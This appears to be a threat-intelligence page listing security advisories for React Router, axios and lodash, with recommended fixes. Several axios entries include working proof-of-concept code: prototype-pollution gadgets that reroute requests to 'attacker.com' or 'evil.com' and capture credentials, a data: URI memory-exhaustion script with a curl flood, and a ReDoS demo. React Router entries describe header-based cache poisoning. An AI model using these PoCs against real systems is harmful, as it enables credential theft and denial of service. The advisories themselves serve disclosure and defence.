Threat Intelligence

Live CVE feed

299 threats tracked across 7 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

28threats · React SPA · Critical + High· page 1/2
Get guardrails →

React Router vulnerable to Denial of Service via reflected user input in single-fetch

A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

Allocation of Resources Without Limits or Throttling in Axios

Summary Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. Impact The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources. This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them. Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion. Affected Functionality Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength or maxBodyLength values. Relevant configurations include: adapter: 'fetch' adapter: ['fetch', ...] when fetch is selected environments where neither xhr nor http is available and axios falls back to fetch custom fetch environments configured through env.fetch Unaffected functionality includes: Node.js default http adapter enforcement versions before the fetch adapter was introduced configurations that do not rely on finite axios size limits Technical Details In vulnerable versions, lib/adapters/fetch.js destructured request config without maxContentLength or maxBodyLength. The adapter dispatched fetch() and then materialized the response through text(), arrayBuffer(), blob(), or related resolvers without checking the configured response limit. The fix in e5540dc added: maxContentLength and maxBodyLength reads in lib/adapters/fetch.js upfront data: URL decoded-size checks outbound body-size checks before dispatch Content-Length response pre-checks streaming response enforcement fallback checks for environments without ReadableStream regression tests in tests/unit/adapters/fetch.test.js Proof of Concept of Attack ``js import http from 'node:http'; import axios from 'axios'; const server = http.createServer((req, res) => { let received = 0; req.on('data', chunk => { received += chunk.length; }); req.on('end', () => { res.end(JSON.stringify({ received })); }); }); await new Promise(resolve => server.listen(0, resolve)); const url = http://127.0.0.1:${server.address().port}/; await axios.post(url, 'A'.repeat(2 1024 1024), { adapter: 'fetch', maxBodyLength: 1024 }); // Vulnerable versions succeed and the server receives 2097152 bytes. // Fixed versions reject with ERR_BAD_REQUEST. server.close(); ` Workarounds Use the Node.js http adapter for server-side requests where finite size limits are security-relevant. Validate or cap attacker-controlled request bodies before passing them to axios. Reject or strictly allowlist attacker-controlled URL schemes, especially data:` URLs, before calling axios. <details> <summary>Original Report</summary> Summary When Axios is used with adapter: 'fetch', configured body/response size limits are not enforced. This allows oversized uploads/downloads (including data: URLs) despite explicit limits, which can lead to memory/resource exhaustion in server-side usage. Details maxBodyLength and maxContentLength are not applied in the fetch adapter flow: lib/adapters/fetch.js (146-160): config destructuring does not include these controls. lib/adapters/fetch.js (220-234): request is dispatched with fetch() without request-size enforcement. lib/adapters/fetch.js (267-283): response is materialized via text(), arrayBuffer(), blob(), etc. without response-size checks. By contrast, the HTTP adapter enforces both limits. PoC Environment: Axios main at commit f7a4ee2 Node v24.2.0 Steps: 1. Start an HTTP server that counts received bytes and echoes {received}. 2. Send 2 MiB with: adapter: 'fetch' maxBodyLength: 1024 3. Request a 4 KiB data: URL with: adapter: 'fetch' maxContentLength: 16 Expected secure behavior: both requests rejected. Observed: Upload: success, server received 2097152 data: response: success, length 4096 Impact Type: DoS / resource exhaustion due to limit bypass. Impacted: applications using Axios fetch adapter as a server-side security control boundary for untrusted request/response sizes. </details> ---

React Router vulnerable to DoS via unbounded path expansion in __manifest endpoint

There exists a potential DOS attack vector in React Router Framework Mode applications (as well as Remix v2.10.0 - 2.17.4). Certain requests can be crafted to consume disproportionate resources on the server, resulting in response time degredation and/or service unavailability for end users. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A06LLM10OWASP Web
Get guardrail →

React Router's vendored turbo-stream v2 allows arbitrary constructor invocation via TYPE_ERROR deserialization leading to Unauth RCE

When using React Router v7 in Framework Mode, there exists a combination of steps that could potentially allow unauthorized RCE through external requests. This first requires the application code to have an existing prototype pollution vulnerability. This can be leveraged into a 2-step attack in which the second step can trigger unauthorized RCE on the remote server. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A08OWASP Web
Get guardrail →

React Router vulnerable to XSS in unstable RSC redirect handling via javascript: redirect targets

When using React Router v7's unstable RSC APIs, there exists a potential client-side XSS issue in the RSC redirect handling if redirects are coming from untrusted sources > [!NOTE] > This only impacts your application if you are using the unstable RSC APIs in React Router.

OWASP A03OWASP Web
Get guardrail →

axios Vulnerable to Full Man-in-the-Middle via Prototype Pollution Gadget in `config.proxy`

Vulnerability Disclosure: Full Man-in-the-Middle via Prototype Pollution Gadget in config.proxy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into a full Man-in-the-Middle (MITM) attack — intercepting, reading, and modifying all HTTP traffic including authentication credentials. The HTTP adapter at lib/adapters/http.js:670 reads config.proxy via standard property access, which traverses the prototype chain. Because proxy is not present in Axios defaults, the merged config object has no own proxy property, making it trivially injectable via prototype pollution. Once injected, setProxy() routes all HTTP requests through the attacker's proxy server. Unlike the transformResponse gadget (which is constrained by assertOptions to return true), the proxy gadget has zero constraints — the attacker gets a full MITM position with the ability to read all credentials and tamper with all responses. Severity: Critical (CVSS 9.4) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/adapters/http.js (config property access on merged object) CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') CVSS 3.1 Score: 9.4 (Critical) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely via any vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment: Object.prototype.proxy = {host:'attacker', port:8080}. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | MITM within the application's network context | | Confidentiality | High | Attacker sees ALL request data: Authorization headers, auth credentials, cookies, request bodies, full URLs (including internal hostnames) | | Integrity | High | Attacker can modify ALL responses: inject malicious data, alter API results, redirect authentication flows. No constraints — unlike transformResponse which must return true | | Availability | Low | Attacker could drop requests or return errors, but this is secondary to C/I impact | Why This Bypasses mergeConfig The critical difference from transformResponse: the proxy property is not in defaults (lib/defaults/index.js does not set proxy). This means: 1. mergeConfig iterates Object.keys({...defaults, ...userConfig}) — proxy is NOT in this set 2. defaultToConfig2 for proxy is never called 3. The merged config has no own proxy property 4. When http.js:670 reads config.proxy, JavaScript traverses the prototype chain 5. Object.prototype.proxy is found → used by setProxy() This is a more direct attack path than transformResponse because it doesn't even go through mergeConfig's merge logic — it completely bypasses it. Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), Axios will automatically use the polluted proxy value when making HTTP requests. The developer's code is completely safe — no configuration errors needed. Proof of Concept 1. The Setup (Simulated Pollution) Imagine a scenario where a known prototype pollution vulnerability exists in a query parser. The attacker sends a payload that sets: ``javascript Object.prototype.proxy = { host: 'attacker.com', port: 8080, protocol: 'http', }; ` 2. The Gadget Trigger (Safe Code) The application makes a completely safe, hardcoded request: `javascript // This looks safe to the developer — no proxy configured const response = await axios.get('https://api.internal.corp/secrets', { auth: { username: 'svc-account', password: 'prod-key-abc123!' } }); ` 3. The Execution At http.js:668-670: `javascript setProxy( options, config.proxy, // ← traverses prototype chain → finds polluted proxy protocol + '//' + parsed.hostname + (parsed.port ? ':' + parsed.port : '') + options.path ); ` setProxy() at http.js:191-239 then: `javascript function setProxy(options, configProxy, location) { let proxy = configProxy; // = { host: 'attacker.com', port: 8080 } // ... if (proxy) { options.hostname = proxy.hostname || proxy.host; // → 'attacker.com' options.port = proxy.port; // → 8080 options.path = location; // → full URL as path // ... } } ` 4. The Impact (Full MITM) The attacker's proxy server receives: `http GET http://api.internal.corp/secrets HTTP/1.1 Host: api.internal.corp Authorization: Basic c3ZjLWFjY291bnQ6cHJvZC1rZXktYWJjMTIzIQ== User-Agent: axios/1.15.0 Accept: application/json, text/plain, / ` The Authorization header contains svc-account:prod-key-abc123! in Base64. The attacker: Sees every request URL, header, and body Modifies every response (inject malicious data, change auth results) Logs all API keys, session tokens, and passwords Operates as an invisible proxy — the developer has no indication 5. Verified PoC Code `javascript import http from 'http'; import axios from './index.js'; // Attacker's proxy server const intercepted = []; const proxyServer = http.createServer((req, res) => { intercepted.push({ url: req.url, authorization: req.headers.authorization, headers: req.headers, }); res.writeHead(200, { 'Content-Type': 'application/json' }); res.end('{"hijacked":true}'); }); await new Promise(r => proxyServer.listen(0, r)); const proxyPort = proxyServer.address().port; // Real target server const realServer = http.createServer((req, res) => { res.writeHead(200); res.end('{"data":"real"}'); }); await new Promise(r => realServer.listen(0, r)); const realPort = realServer.address().port; // Prototype pollution Object.prototype.proxy = { host: '127.0.0.1', port: proxyPort, protocol: 'http' }; // "Safe" request — goes through attacker's proxy const resp = await axios.get(http://127.0.0.1:${realPort}/api/secrets, { auth: { username: 'admin', password: 'SuperSecret123!' } }); console.log('Response from:', resp.data.hijacked ? 'ATTACKER PROXY' : 'real server'); console.log('Intercepted Authorization:', intercepted[0]?.authorization); // Output: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh (= admin:SuperSecret123!) delete Object.prototype.proxy; realServer.close(); proxyServer.close(); ` Verified PoC Output ` [1] Normal request (before pollution): Response source: real server response.data: {"data":"from-real-server"} Proxy intercept count: 0 [2] Prototype Pollution: Object.prototype.proxy Set: Object.prototype.proxy = { host: "127.0.0.1", port: 50879 } [3] Request after pollution (same code, same URL): Response source: ATTACKER PROXY! response.data: {"data":"from-attacker-proxy","hijacked":true} [4] Data intercepted by attacker's proxy: Full URL: http://127.0.0.1:50878/api/secrets Host: 127.0.0.1:50878 Authorization: Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh All headers: { "accept": "application/json, text/plain, /", "user-agent": "axios/1.15.0", "accept-encoding": "gzip, compress, deflate, br", "host": "127.0.0.1:50878", "authorization": "Basic YWRtaW46U3VwZXJTZWNyZXQxMjMh", "connection": "keep-alive" } [5] Attacker capabilities demonstrated: ✓ Full URL visible (including internal hostnames) ✓ Authorization header visible (Base64-encoded credentials) ✓ Can modify/forge response data ✓ Affects ALL axios HTTP requests (not just a single instance) ✓ No assertOptions constraints (unlike transformResponse gadget) ` Impact Analysis Full Credential Interception: Every HTTP request's Authorization header, cookies, API keys, and request bodies are visible to the attacker's proxy in plaintext. Arbitrary Response Tampering: The attacker can return any response data — no constraints like transformResponse's "must return true". Internal Network Reconnaissance: The proxy sees all request URLs, revealing internal hostnames, ports, and API paths. Universal Scope: Affects every axios HTTP request in the application, including all third-party libraries that use axios. Invisible Attack: The developer has no indication that a proxy has been injected — requests complete normally with attacker-controlled responses. Bypass of 1.15.0 Fix: The header sanitization patch in v1.15.0 (GHSA-fvcv-3m26-pcqx) does NOT address this vector. Why This Is More Severe Than transformResponse (axios_26) | Dimension | transformResponse Gadget | proxy Gadget | |---|---|---| | Data access | this.auth + response data | All headers, auth, body, URL, response | | Response control | Must return true | Arbitrary responses | | Attack visibility | Response becomes true (suspicious) | Normal-looking responses (invisible) | | mergeConfig involvement | Goes through defaultToConfig2 | Bypasses mergeConfig entirely | Recommended Fix Fix 1: Use hasOwnProperty when reading security-sensitive config properties `javascript // In lib/adapters/http.js const proxy = Object.prototype.hasOwnProperty.call(config, 'proxy') ? config.proxy : undefined; setProxy(options, proxy, location); ` Fix 2: Enumerate all properties not in defaults and apply hasOwnProperty Properties not in defaults that are read by http.js and have security impact: config.proxy — MITM config.socketPath — Unix socket SSRF config.transport — request hijack config.lookup — DNS hijack config.beforeRedirect — redirect manipulation config.httpAgent / config.httpsAgent — agent injection All should use hasOwnProperty checks. Fix 3: Use null-prototype object for merged config `javascript // In lib/core/mergeConfig.js const config = Object.create(null); `` Resources CWE-1321: Prototype Pollution CWE-441: Unintended Proxy GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0) Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-16 | Vulnerability discovered during source code audit | | 2026-04-16 | PoC developed and verified — full MITM confirmed | | TBD | Report submitted to vendor via GitHub Security Advisory |

OWASP A03OWASP Web
Get guardrail →

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

Summary Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request. Affected Properties 1. config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests. 2. config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server. 3. config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon). 4. config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects. 5. config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests. Proof of Concept ``javascript const axios = require('axios'); // Prototype pollution from a vulnerable dependency in the same process Object.prototype.auth = { username: 'attacker', password: 'exfil' }; Object.prototype.baseURL = 'https://evil.com'; await axios.get('/api/users'); // Request is sent to: https://evil.com/api/users // With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw= // Attacker receives both the request and injected credentials ` Impact Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers. Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server. SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments. Code execution: Attacker-supplied functions execute during HTTP redirects. Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling. Root Cause mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values. The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection. Suggested Fix Apply the existing own() helper to all affected properties: `javascript const configAuth = own('auth'); if (configAuth) { const username = configAuth.username || ''; const password = configAuth.password || ''; auth = username + ':' + password; } ` Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js`.

OWASP A03OWASP Web
Get guardrail →

React Router vulnerable to XSS via Open Redirects

React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if developers are creating redirect paths from untrusted content or via an open redirect. > [!NOTE] > This does not impact applications that use Declarative Mode (<BrowserRouter>).

OWASP A03OWASP Web
Get guardrail →

React Router SSR XSS in ScrollRestoration

A XSS vulnerability exists in in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the keys. > [!NOTE] > This does not impact applications if developers have disabled server-side rendering in Framework Mode, or if they are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

React Router has XSS Vulnerability

A XSS vulnerability exists in in React Router's meta()/<Meta> APIs in Framework Mode when generating script:ld+json tags which could allow arbitrary JavaScript execution during SSR if untrusted content is used to generate the tag. > [!NOTE] > This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

OWASP A03OWASP Web
Get guardrail →

Axios is vulnerable to DoS attack through lack of data size check

Summary When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response. This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'. Details The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob. Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231): ``js const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls); const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined); const protocol = parsed.protocol || supportedProtocols[0]; if (protocol === 'data:') { let convertedData; if (method !== 'GET') { return settle(resolve, reject, { status: 405, ... }); } convertedData = fromDataURI(config.url, responseType === 'blob', { Blob: config.env && config.env.Blob }); return settle(resolve, reject, { data: convertedData, status: 200, ... }); } ` The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27): `js export default function fromDataURI(uri, asBlob, options) { ... if (protocol === 'data') { uri = protocol.length ? uri.slice(protocol.length + 1) : uri; const match = DATA_URL_PATTERN.exec(uri); ... const body = match[3]; const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8'); if (asBlob) { return new _Blob([buffer], {type: mime}); } return buffer; } throw new AxiosError('Unsupported protocol ' + protocol, ...); } ` The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks. It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams. As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory. In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs. PoC `js const axios = require('axios'); async function main() { // this example decodes ~120 MB const base64Size = 160_000_000; // 120 MB after decoding const base64 = 'A'.repeat(base64Size); const uri = 'data:application/octet-stream;base64,' + base64; console.log('Generating URI with base64 length:', base64.length); const response = await axios.get(uri, { responseType: 'arraybuffer' }); console.log('Received bytes:', response.data.length); } main().catch(err => { console.error('Error:', err.message); }); ` Run with limited heap to force a crash: `bash node --max-old-space-size=100 poc.js ` Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error: ` <--- Last few GCs ---> … FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory 1: 0x… node::Abort() … … ` Mini Real App PoC: A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS. `js import express from "express"; import morgan from "morgan"; import axios from "axios"; import http from "node:http"; import https from "node:https"; import { PassThrough } from "node:stream"; const keepAlive = true; const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 }); const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 }); const axiosClient = axios.create({ timeout: 10000, maxRedirects: 5, httpAgent, httpsAgent, headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" }, validateStatus: c => c >= 200 && c < 400 }); const app = express(); const PORT = Number(process.env.PORT || 8081); const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb"; app.use(express.json({ limit: BODY_LIMIT })); app.use(morgan("combined")); app.get("/healthz", (req,res)=>res.send("ok")); / POST /preview { "url": "<http|https|data URL>" } Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector). / app.post("/preview", async (req, res) => { const url = req.body?.url; if (!url) return res.status(400).json({ error: "missing url" }); let u; try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); } // Developer allows using data:// in the allowlist const allowed = new Set(["http:", "https:", "data:"]); if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" }); const controller = new AbortController(); const onClose = () => controller.abort(); res.on("close", onClose); const before = process.memoryUsage().heapUsed; try { const r = await axiosClient.get(u.toString(), { responseType: "stream", maxContentLength: 8 1024, // Axios will ignore this for data: maxBodyLength: 8 1024, // Axios will ignore this for data: signal: controller.signal }); // stream only the first 64KB back const cap = 64 1024; let sent = 0; const limiter = new PassThrough(); r.data.on("data", (chunk) => { if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); } else { sent += chunk.length; limiter.write(chunk); } }); r.data.on("end", () => limiter.end()); r.data.on("error", (e) => limiter.destroy(e)); const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); limiter.pipe(res); } catch (err) { const after = process.memoryUsage().heapUsed; res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2)); res.status(502).json({ error: String(err?.message || err) }); } finally { res.off("close", onClose); } }); app.listen(PORT, () => { console.log(axios-poc-link-preview listening on http://0.0.0.0:${PORT}); console.log(Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).); }); ` Run this app and send 3 post requests: `sh SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \ | tee payload.json >/dev/null seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null` ` --- Suggestions 1. Enforce size limits For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit. 2. Stream decoding Instead of decoding the entire payload in one Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

React Router allows pre-render data spoofing on React-Router framework mode

Summary After some research, it turns out that it's possible to modify pre-rendered data by adding a header to the request. This allows to completely spoof its contents and modify all the values ​​of the data object passed to the HTML. Latest versions are impacted. Details The vulnerable header is X-React-Router-Prerender-Data, a specific JSON object must be passed to it in order for the spoofing to be successful as we will see shortly. Here is the vulnerable code : <img width="776" alt="Capture d’écran 2025-04-07 à 05 36 58" src="https://github.com/user-attachments/assets/c95b0b33-15ce-4d30-9f5e-b10525dd6ab4" /> To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader. Steps to reproduce Versions used for our PoC: "@react-router/node": "^7.5.0", "@react-router/serve": "^7.5.0", "react": "^19.0.0" "react-dom": "^19.0.0" "react-router": "^7.5.0" 1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr) 3. Access your page (which uses the loader) by suffixing it with .data. In our case the page is called /ssr: !image We access it by adding the suffix .data and retrieve the data object, needed for the header: !image 4. Send your request by adding the X-React-Router-Prerender-Data header with the previously retrieved object as its value. You can change any value of your data object (do not touch the other values, the latter being necessary for the object to be processed correctly and not throw an error): !Capture d’écran 2025-04-07 à 05 56 10 As you can see, all values ​​have been changed/overwritten by the values ​​provided via the header. Impact The impact is significant, if a cache system is in place, it is possible to poison a response in which all of the data transmitted via a loader would be altered by an attacker allowing him to take control of the content of the page and modify it as he wishes via a cache-poisoning attack. This can lead to several types of attacks including potential stored XSS depending on the context in which the data is injected and/or how the data is used on the client-side. Credits Rachid Allam (zhero;) Yasser Allam (inzo_)

React Router allows a DoS via cache poisoning by forcing SPA mode

Summary After some research, it turns out that it is possible to force an application to switch to SPA mode by adding a header to the request. If the application uses SSR and is forced to switch to SPA, this causes an error that completely corrupts the page. If a cache system is in place, this allows the response containing the error to be cached, resulting in a cache poisoning that strongly impacts the availability of the application. Details The vulnerable header is X-React-Router-SPA-Mode; adding it to a request sent to a page/endpoint using a loader throws an error. Here is the vulnerable code : <img width="672" alt="Capture d’écran 2025-04-07 à 08 28 20" src="https://github.com/user-attachments/assets/0a0e9c41-70fd-4dba-9061-892dd6797291" /> To use the header, React-router must be used in Framework mode, and for the attack to be possible the target page must use a loader. Steps to reproduce Versions used for our PoC: "@react-router/node": "^7.5.0", "@react-router/serve": "^7.5.0", "react": "^19.0.0" "react-dom": "^19.0.0" "react-router": "^7.5.0" 1. Install React-Router with its default configuration in Framework mode (https://reactrouter.com/start/framework/installation) 2. Add a simple page using a loader (example: routes/ssr) !image 3. Send a request to the endpoint using the loader (/ssr in our case) adding the following header: `` X-React-Router-SPA-Mode: yes `` Notice the difference between a request with and without the header; Normal request !Capture d’écran 2025-04-07 à 08 36 27 With the header !Capture d’écran 2025-04-07 à 08 37 01 !image Impact If a system cache is in place, it is possible to poison the response by completely altering its content (by an error message), strongly impacting its availability, making the latter impractical via a cache-poisoning attack. Credits Rachid Allam (zhero;) Yasser Allam (inzo_)

Server-Side Request Forgery in axios

axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.

OWASP A10OWASP Web
Get guardrail →
10 rules

lodash vulnerable to Code Injection via `_.template` imports key names

Impact The fix for CVE-2021-23337 added validation for the variable option in _.template but did not apply the same validation to options.imports key names. Both paths flow into the same Function() constructor sink. When an application passes untrusted input as options.imports key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time. Additionally, _.template use

OWASP A03OWASP Web
Get guardrail →

Axios: Regular Expression Denial of Service (ReDoS) via Cookie Name Injection

Summary Axios versions before 0.32.0 on the 0.x line and before 1.16.0 on the 1.x line build a regular expression from the configured XSRF cookie name without escaping regex metacharacters. In standard browser environments, an attacker who can influence the cookie name passed to axios can cause expensive regex backtracking while axios reads document.cookie. The practical impact is client-side availability degradation, such as freezing the affected browser tab while axios prepares a request. The issue does not affect ordinary Node.js HTTP adapter usage, React Native, or web workers, where axios does not read document.cookie. Impact Applications are affected only when attacker-controlled data can reach the XSRF cookie name configuration or a direct/unsafe call to the internal cookie helper. This does not expose credentials, modify requests, or affect response integrity. The impact is availability only. Affected Functionality Affected code paths: lib/helpers/cookies.js read(name) in standard browser environments. lib/helpers/resolveConfig.js in 1.x, when browser XHR/fetch adapters resolve XSRF config. lib/adapters/xhr.js in 0.x, when the XHR adapter reads the configured XSRF cookie. Direct use of axios/unsafe/helpers/cookies.js in 1.x, if callers pass attacker-controlled names. Unaffected code paths: Default static xsrfCookieName: 'XSRF-TOKEN' when not attacker-controlled. Requests with xsrfCookieName: null. Node HTTP adapter usage without browser document.cookie. React Native and web workers where axios does not use standard browser cookie access. Technical Details Affected versions interpolate the cookie name into a regex. ``js const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); ` Because name is not escaped, regex metacharacters in the cookie name are interpreted as regex syntax. A payload such as (.+)+$ can force catastrophic backtracking against document.cookie. The fix avoids dynamic regex construction and parses document.cookie by splitting on ;, trimming leading whitespace, and comparing cookie names with exact string equality. Proof of Concept of Attack `js function vulnerableRead(name, cookie) { const start = Date.now(); try { cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); } catch {} return Date.now() - start; } for (const n of [20, 22, 24, 26, 28]) { const cookie = 'x='.padEnd(n, 'a') + '!'; console.log(${n}: ${vulnerableRead('(.+)+$', cookie)}ms); } ` Expected result: timings grow rapidly as the cookie string length increases. Workarounds Set xsrfCookieName: null if the application does not need axios to read an XSRF cookie. Do not derive xsrfCookieName from untrusted input. If a dynamic cookie name is unavoidable, validate it against a strict cookie-name allowlist before passing it to axios. Avoid calling axios/unsafe/helpers/cookies.js directly with untrusted names <details> <summary>Original Source</summary> Regular Expression Denial of Service (ReDoS) via Cookie Name Injection 1. Title ReDoS via Unsanitized Cookie Name in Dynamic Regular Expression Construction 2. Affected Software and Version Software: Axios Version: 1.15.0 (and potentially earlier versions) Component: lib/helpers/cookies.js Ecosystem: npm (Node.js / Browser) 3. Vulnerability Type / CWE Type: Regular Expression Denial of Service (ReDoS) CWE-1333: Inefficient Regular Expression Complexity CWE-400: Uncontrolled Resource Consumption 4. CVSS 3.1 Score Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | Metric | Value | |---|---| | Attack Vector | Network | | Attack Complexity | Low | | Privileges Required | None | | User Interaction | None | | Scope | Unchanged | | Confidentiality | None | | Integrity | None | | Availability | High | 5. Description The cookies.read() function in lib/helpers/cookies.js constructs a regular expression dynamically using the name parameter without any sanitization or escaping of special regex characters. At line 33, the code passes the raw name value directly into new RegExp(): `javascript const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); ` An attacker who can control or influence the cookie name parameter (e.g., via XSRF cookie name configuration, prototype pollution of xsrfCookieName, or any code path where user input reaches cookies.read()) can inject a malicious regex pattern that causes catastrophic backtracking, leading to a Denial of Service condition. With a crafted input of approximately 20-30 characters, the regex engine can be forced to consume several seconds to minutes of CPU time, effectively freezing the JavaScript event loop. 6. Root Cause Analysis File: lib/helpers/cookies.js Line: 33 `javascript read(name) { if (typeof document === 'undefined') return null; const match = document.cookie.match(new RegExp('(?:^|; )' + name + '=([^;])')); return match ? 